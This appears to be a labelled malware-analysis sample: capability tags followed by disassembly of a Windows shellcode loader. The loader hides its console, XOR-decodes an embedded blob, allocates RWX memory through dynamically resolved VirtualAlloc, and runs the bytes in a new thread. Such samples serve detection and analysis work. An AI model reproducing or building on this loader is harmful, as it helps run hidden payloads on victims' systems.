Function at 0x140001634
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push rbp
mov eax, 0x190d0
call fcn.1400030e0
sub rsp, rax
lea rbp, [rsp + 0x80]
call sym.__main
mov rax, qword [sym.imp.KERNEL32.dll_FreeConsole]
call rax
lea rax, [rbp - 0x30]
lea rdx, [0x14000b0f0]
mov ecx, 0x18fff
mov r8, rcx
mov rcx, rax
call sym.memcpy
mov qword [rbp + 0x19040], 0x18fff
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov qword [rbp + 0x19038], rax
mov rax, qword [rbp + 0x19038]
lea rdx, str.GetCurrentThread
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x19030], rax
mov rax, qword [rbp + 0x19030]
mov qword [0x140027038], rax
mov rax, qword [0x140027038]
call rax
mov qword [rbp + 0x19028], rax
cmp qword [rbp + 0x19028], 0
jne 0x140001734
lea rax, str.ERROR::::::::FAILED_TO_GET_THREAD::::::::
mov rdx, rax
mov rax, qword [sym.imp.libstdc_6.dll_std::cout]
mov rcx, rax
call sym.std::basic_ostream_char__std::char_traits_char____std::operator____std::char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov rcx, rax
mov rax, qword [0x1400247c0]
mov rdx, rax
call sym.std::ostream::operator___std::ostream____std::ostream__
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
mov dword [rbp + 0x19024], eax
mov eax, dword [rbp + 0x19024]
mov edx, eax
lea rax, [0x14000b04a]
mov rcx, rax
call dbg.printf
jmp 0x14000175f
lea rax, str.:::::::::GOOD::::::::
mov rdx, rax
mov rax, qword [sym.imp.libstdc_6.dll_std::cout]
mov rcx, rax
call sym.std::basic_ostream_char__std::char_traits_char____std::operator____std::char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov rcx, rax
mov rax, qword [0x1400247c0]
mov rdx, rax
call sym.std::ostream::operator___std::ostream____std::ostream__
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov qword [rbp + 0x19018], rax
mov rax, qword [rbp + 0x19018]
lea rdx, str.VirtualAlloc
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x19010], rax
mov rax, qword [rbp + 0x19010]
mov qword [rbp + 0x19008], rax
mov r10, qword [rbp + 0x19008]
mov rax, qword [rbp + 0x19040]
mov r9d, 0x40
mov r8d, 0x3000
mov rdx, rax
mov ecx, 0
call r10
mov qword [rbp + 0x19000], rax
cmp qword [rbp + 0x19000], 0
jne 0x14000181f
lea rax, str.ERROR::::::::UNABLE_TO_ALLOCATE::::::::::::
mov rdx, rax
mov rax, qword [sym.imp.libstdc_6.dll_std::cout]
mov rcx, rax
call sym.std::basic_ostream_char__std::char_traits_char____std::operator____std::char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
mov dword [rbp + 0x18ffc], eax
mov eax, dword [rbp + 0x18ffc]
mov edx, eax
mov rax, qword [sym.imp.libstdc_6.dll_std::cout]
mov rcx, rax
call sym.std::ostream::operator___int_
jmp 0x140001838
lea rax, str.:::::::::GOOD::::::::
mov rdx, rax
mov rax, qword [sym.imp.libstdc_6.dll_std::cout]
mov rcx, rax
call sym.std::basic_ostream_char__std::char_traits_char____std::operator____std::char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
movabs rax, 0x6840484061404140
movabs rdx, 0x654045406d404d40
mov qword [rbp - 0x50], rax
mov qword [rbp - 0x48], rdx
movabs rax, 0x64404440654045
mov qword [rbp - 0x43], rax
mov dword [rbp + 0x1904c], 0
jmp 0x1400018cc
mov eax, dword [rbp + 0x1904c]
cdqe
movzx eax, byte [rbp + rax - 0x30]
mov r8d, eax
mov ecx, dword [rbp + 0x1904c]
movsxd rax, ecx
imul rax, rax, 0x2e8ba2e9
shr rax, 0x20
mov edx, eax
sar edx, 1
mov eax, ecx
sar eax, 0x1f
sub edx, eax
mov eax, edx
shl eax, 2
add eax, edx
add eax, eax
add eax, edx
sub ecx, eax
mov edx, ecx
movsxd rax, edx
movzx eax, byte [rbp + rax - 0x50]
xor eax, r8d
mov edx, eax
mov eax, dword [rbp + 0x1904c]
cdqe
mov byte [rbp + rax - 0x30], dl
add dword [rbp + 0x1904c], 1
mov eax, dword [rbp + 0x1904c]
cdqe
cmp rax, 0x18ffd
jbe 0x14000186e
mov rcx, qword [rbp + 0x19040]
lea rdx, [rbp - 0x30]
mov rax, qword [rbp + 0x19000]
mov r8, rcx
mov rcx, rax
call sym.memmove
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov qword [rbp + 0x18ff0], rax
mov rax, qword [rbp + 0x18ff0]
lea rdx, str.CreateThread
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x18fe8], rax
cmp qword [rbp + 0x18fe8], 0
jne 0x1400019ba
lea rax, str.ERROR:_Unable_to_get_the_address_of_CreateThread
mov rdx, rax
mov rax, qword [sym.imp.libstdc_6.dll_std::cout]
mov rcx, rax
call sym.std::basic_ostream_char__std::char_traits_char____std::operator____std::char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov rcx, rax
mov rax, qword [0x1400247c0]
mov rdx, rax
call sym.std::ostream::operator___std::ostream____std::ostream__
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
mov dword [rbp + 0x18fdc], eax
lea rax, str.Error_code:
mov rdx, rax
mov rax, qword [sym.imp.libstdc_6.dll_std::cout]
mov rcx, rax
call sym.std::basic_ostream_char__std::char_traits_char____std::operator____std::char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov rcx, rax
mov eax, dword [rbp + 0x18fdc]
mov edx, eax
call sym.std::ostream::operator___int_
mov rcx, rax
mov rax, qword [0x1400247c0]
mov rdx, rax
call sym.std::ostream::operator___std::ostream____std::ostream__
mov eax, 1
jmp 0x140001a20
mov rax, qword [rbp + 0x18fe8]
mov qword [0x140027040], rax
mov rax, qword [0x140027040]
mov rdx, qword [rbp + 0x19000]
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov r9d, 0
mov r8, rdx
mov edx, 0
mov ecx, 0
call rax
mov qword [rbp + 0x18fe0], rax
mov rax, qword [rbp + 0x18fe0]
mov edx, 0xffffffff
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
call rax
mov eax, 0
add rsp, 0x190d0
pop rbp
ret